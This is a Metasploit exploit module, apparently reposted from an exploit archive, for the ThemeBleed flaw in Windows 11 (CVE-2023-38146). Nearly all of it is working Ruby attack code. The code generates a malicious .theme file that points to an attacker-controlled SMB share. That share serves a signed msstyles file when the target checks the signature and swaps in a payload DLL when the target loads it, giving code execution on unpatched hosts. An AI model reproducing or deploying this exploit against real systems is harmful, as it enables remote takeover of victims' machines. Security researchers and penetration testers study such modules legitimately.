Themebleed Windows 11 Themes Arbitrary Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::EXE  include Msf::Exploit::Remote::SMB::Server::Share  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Themebleed- Windows 11 Themes Arbitrary Code Execution CVE-2023-38146',        'Description' => %q{          When an unpatched Windows 11 host loads a theme file referencing an msstyles file, Windows loads the          msstyles file, and if that file's PACKME_VERSION is `999`, it then attempts to load an accompanying dll          file ending in `_vrf.dll` Before loading that file, it verifies that the file is signed.  It does this by          opening the file for reading and verifying the signature before opening the file for execution.          Because this action is performed in two discrete operations, it opens the procedure for a time of check to          time of use vulnerability.  By embedding a UNC file path to an SMB server we control, the SMB server can          serve a legitimate, signed dll when queried for the read, but then serve a different file of the same name          when the host intends to load/execute the dll.        },        'DisclosureDate' => '2023-09-13',        'Author' => [          'gabe_k', # Discovery/PoC          'bwatters-r7', # msf exploit          'Spencer McIntyre' # msf exploit        ],        'References' => [          ['CVE', '2023-38146'],          ['URL', 'https://exploits.forsale/themebleed/'],          ['URL', 'https://github.com/gabe-k/themebleed/tree/main']        ],        'License' => MSF_LICENSE,        'Platform' => 'win',        'Arch' => ARCH_X64,        'Targets' => [          [ 'Windows', {} ],        ],        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],          'AKA' => ['ThemeBleed']        },        'DefaultOptions' => { 'DisablePayloadHandler' => false }      )    )    register_options([      OptPath.new('STYLE_FILE', [ true, 'The Microsoft-signed .msstyles file (e.g. aero.msstyles).', '' ], regex: /.*\w*\.msstyles$/),      OptString.new('STYLE_FILE_NAME', [ true, 'The name of the style file to reference.', '' ], regex: /^\w*(\.msstyles)?$/),      OptString.new('THEME_FILE_NAME', [ true, 'The name of the theme file to generate.', 'exploit.theme' ])    ])    deregister_options(      'FILENAME', # this is the one used by the FILEFORMAT mixin, replaced by THEME_FILE_NAME for clarity      'FILE_NAME', # this is the one used by the SMB::Server::Share mixin, replaced by STYLE_FILE_NAME for clarity      'FOLDER_NAME'    )  end  def file_format_filename    datastore['THEME_FILE_NAME']  end  def setup    super    @file = File.binread(datastore['STYLE_FILE'])    begin      pe = Rex::PeParsey::Pe.new_from_string(@file)    rescue Rex::PeParsey::PeError => e      fail_with(Failure::BadConfig, "Failed to parse the STYLE_FILE: #{e}")    end    unless pe.resources && (rva = pe.resources['/PACKTHEM_VERSION/0/0']&.rva)      fail_with(Failure::BadConfig, 'The STYLE_FILE has no PACKTHEM_VERSION resource.')    end    @file_version_offset = pe.rva_to_file_offset(rva)    @file_name = datastore['STYLE_FILE_NAME'].blank? ? Rex::Text.rand_text_alpha(rand(4..6)) : datastore['STYLE_FILE_NAME']    @file_name << '.msstyles' unless @file_name.end_with?('.msstyles')  end  def primer    payload_dll = generate_payload_dll    max_length = [payload_dll.length, @file.length].max    # make sure that the lengths are the same by padding the smaller to the length of the larger    @file.ljust(max_length, "\x00".b)    payload_dll.ljust(max_length, "\x00".b)    virtual_disk = service.shares[@share]    @service = service    virtual_file = ThreadLocalVirtualStaticFile.new(virtual_disk, "/#{@file_name}_vrf.dll", @file)    virtual_disk.add(virtual_file)    # install this hook for create requests to set the thread-local file content    virtual_disk.add_hook(RubySMB::SMB2::Packet::CreateRequest) do |_session, request|      next unless request.name.read_now!.encode.ends_with?('_vrf.dll')      if request.desired_access.execute == 1        virtual_file.tl_content = payload_dll      else        virtual_file.tl_content = @file      end      nil    end    file_create(make_theme)  end  def get_file_contents(client:)    print_status("Sending file to #{client.peerhost}")    new_version = [999].pack('v')    @file[0...@file_version_offset] + new_version + @file[(@file_version_offset + new_version.length)...]  end  def make_theme    <<~THEME      [Theme]      DisplayName=@%SystemRoot%\\System32\\themeui.dll,-2060      [Control Panel\\Desktop]      Wallpaper=%SystemRoot%\\web\\wallpaper\\Windows\\img0.jpg      TileWallpaper=0      WallpaperStyle=10      [VisualStyles]      Path=\\\\#{datastore['SRVHOST']}\\#{@share}\\#{@file_name}      ColorStyle=NormalColor      Size=NormalSize      [MasterThemeSelector]      MTSM=RJSPBS    THEME  end  class ThreadLocalVirtualStaticFile < RubySMB::Server::Share::Provider::VirtualDisk::VirtualStaticFile    def initialize(*args, **kwargs)      super      @default_content = @content      @tl_content = {}      @tl_content.compare_by_identity    end    def open(mode = 'r', &block)      @content = tl_content      super    end    def tl_content=(content)      @tl_content[Thread.current] = content    end    def tl_content      @tl_content.fetch(Thread.current, @default_content)    end  endend